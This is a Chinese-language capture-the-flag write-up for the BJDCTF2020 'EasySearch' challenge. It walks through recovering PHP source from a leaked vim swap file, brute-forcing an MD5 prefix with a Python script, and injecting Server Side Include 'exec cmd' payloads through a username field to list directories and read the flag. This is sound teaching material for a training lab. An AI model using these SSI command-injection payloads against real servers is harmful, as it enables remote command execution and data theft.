首页 > 其他分享 >[BJDCTF2020]EasySearch(ssi注入)

[BJDCTF2020]EasySearch(ssi注入)

时间:2024-07-24 15:56:29浏览次数:18  
标签:shtml 缓存 文件 EasySearch index ssi BJDCTF2020 php md5

看题目就知道藏的有东西

挨个试试

发现在index.php.swp

vim缓存泄露,在使用vim进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,
如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以index.php来说,
第一次退出后,缓存文件名为 index.php.swp,
第二次退出后,缓存文件名为index.php.swo,
第三次退出后文件名为index.php.swn

得到源代码.

image

点击查看代码
<?php
	// 开启输出缓冲
	ob_start();

	// 定义一个生成随机哈希值的函数
	function get_hash(){
		// 定义包含大写字母、小写字母、数字和特殊字符的字符串
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';

		// 随机从字符串中选择5个字符
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];

		// 将唯一ID和随机字符串拼接
		$content = uniqid().$random;

		// 返回该内容的SHA-1哈希值
		return sha1($content); 
	}

    // 设置HTTP响应头的内容类型和字符编码
    header("Content-Type: text/html;charset=utf-8");

	// 检查POST请求中是否包含username字段,并且该字段不为空
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        // 定义一个管理员密码的MD5哈希值的前六个字符
        $admin = '6d0bc1';

        // 检查POST请求中的密码字段的MD5哈希值的前六个字符是否与预定义的字符串匹配
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            // 弹出一个欢迎信息的JavaScript警告框
            echo "<script>alert('[+] Welcome to manage system')</script>";

            // 生成一个以哈希值命名的文件名,存放在public目录下
            $file_shtml = "public/".get_hash().".shtml";

            // 尝试打开文件,如果失败则输出错误信息
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");

            // 定义将要写入文件的HTML内容
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';

            // 将HTML内容写入文件
            fwrite($shtml,$text);

            // 关闭文件
            fclose($shtml);

            // 预留的代码位置,可能用于其他处理或输出
			// echo "[!] Header  error ...";
        } else {
            // 如果密码不匹配,弹出失败信息的JavaScript警告框
            echo "<script>alert('[!] Failed')</script>";
        }
    } else {
		// 预留的代码位置,用于处理未提供用户名的情况
		// ***
    }
	// 预留的代码位置,可能用于其他处理或结束操作
	// ***
?>

先过 ``` $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) ```

要找到md5后前六位值为6d0bc1的数

跑脚本即可

import hashlib

for i in range(1000000000):
    md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if md5[0:6] == '6d0bc1':
        print(str(i)+' | '+md5)

找到后进行登陆尝试

image

image

给了文件地址并且会把用户名写进去
既然能控制写进去什么内容我们肯定想办法让其命令执行

去查一下.shtml文件

二、Shtml与shtm

shtml命名的网页文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来。
而shtml与shtm后缀的网页文件没有区别,后缀名可以互换,区别在于和html与htm一样多与少“L”。

很明显我们可以利用ssi注入

注入格式:

<!--#exec cmd="命令" -->。

接下来就是找flag

<!--#exec+cmd="ls"+-->//没有
<!--#exec+cmd="ls /"+-->//也没有
<!--#exec+cmd="ls ../"+-->//有了
<!--#exec+cmd="cat../flag_990c66bf85a09c664f0b6741840499b2"+-->//得到flag

参考文章
htm、html、shtml网页区别

标签:shtml,缓存,文件,EasySearch,index,ssi,BJDCTF2020,php,md5
From: https://www.cnblogs.com/dghh/p/18320988

相关文章

  • object dict cannot be used in await expression报错解释
    报错解释:这个错误通常出现在使用Python的异步编程模型时,尝试在一个不支持异步的对象上使用await关键字。在Python中,await关键字只能在异步函数中使用,而异步函数通常定义在asyncdef语句中。错误"objectdictcannotbeusedinawaitexpression"意味着你正尝试在一个普通的字典......
  • 应用数学与机器学习基础 - 数值计算之梯度之上Jacobian和Hessian矩阵篇
    序言在数值计算与优化理论的广阔天地里,梯度作为一阶导数的向量表示,是理解函数局部变化率及进行最优化求解的基础工具。然而,当问题的复杂度提升,单一梯度信息往往不足以全面刻画函数的多变量间相互作用及更高阶的变化特性。此时,Jaco......
  • 使用 p._popen 作为 None 启动 multiprocessing.Process 时出错
    我在使用multiprocessing.Process时遇到一些问题。简单来说,我创建了多个进程p,并通过调用p.start()来启动它们。importmultiprocessingdef_start_process(args):#someothercodestogeneratesome_argsq=multiprocessing.Queue()p=......
  • mybatisPlus3.4 自定义sqlSessionFactory sql注入器失效、mybatis-plus批量插入报错In
    文章目录一、报错背景二、解决方法在mybatis-plus项目中集成自定义批量插入方法后报错。以下整理一下报错及解决方法。一、报错背景mybatis-plus是不提供insertList批量插入方法的,本人在自定义批量插入方法后,启动时正常,但是执行到insertList时报错。org.apache.i......
  • [BJDCTF2020]Easy MD5
    [BJDCTF2020]EasyMD5Step1看源代码没线索,用burp抓包看一下:发现提示,发现输入的是password要构造使password=’or‘1的形式使之形成永真的语句md5($pass,true)应该就是将pass的值md5加密后成十六进制转换成字符这时候276f7227就是十六进制的'or',只要MD5加密成276f7227+(......
  • 基于 Session 实现短信登录
    短信验证 一、基于Session1、登录流程1)发送验证码用户在提交手机号后,会校验手机号是否合法,如果不合法,则要求用户重新输入手机号如果手机号合法,后台此时生成对应的验证码,同时将验证码进行保存,然后再通过短信的方式将验证码发送给用户2)短信验证码登录、注册用户将验证码和......
  • SpringBoot升级到3.3.2版本,JDK升级到17,引入Mybatis-plus后启动报错:Property 'sqlSessi
    【问题描述】2024-07-23T15:16:07.174+08:00WARN2604---[questionnaire][main]ConfigServletWebServerApplicationContext:Exceptionencounteredduringcontextinitialization-cancellingrefreshattempt:org.springframework.beans.factory.UnsatisfiedDependen......
  • nginx的ssi
    Nginx中的服务器端包含(SSI)#Nginx在处理缓存或将(动态)文件包含到静态文件中时,服务器端包含是一个非常方便的功能。下面介绍如何使用它并配置Nginx以启用SSI的强大功能。由MarkvanEijk于2023年12月7日发布 ·阅读时间2分钟什么是服务器端包含(SSI)S......
  • 一段时间后登录时 Flask 出现 SESSION_COOKIE_NAME 错误
    直到最近,一切都很好,但现在我的网站不断给出“SESSION_COOKIE_NAME”和“NoneType”对象没有属性“修改”错误。但令人感兴趣的是,如果我更改代码,错误如何消失一段时间并不重要。请帮助知识渊博的人这里是代码最重要的部分:importosimportplotly.expressaspximportcs50......
  • ValueError:X 有 1 个特征,但 LinearRegression 期望有 2 个特征作为输入
    我正在使用pywebio为我的机器学习程序创建一个小型脚本运行用户界面。当不使用小型UI时,运行线性回归predict()函数时不会出现任何错误。UI从用户处检索两个数字,an'age'和a'salary'这两个数字被输入到numpy数组中,并且numpy数组已从一维......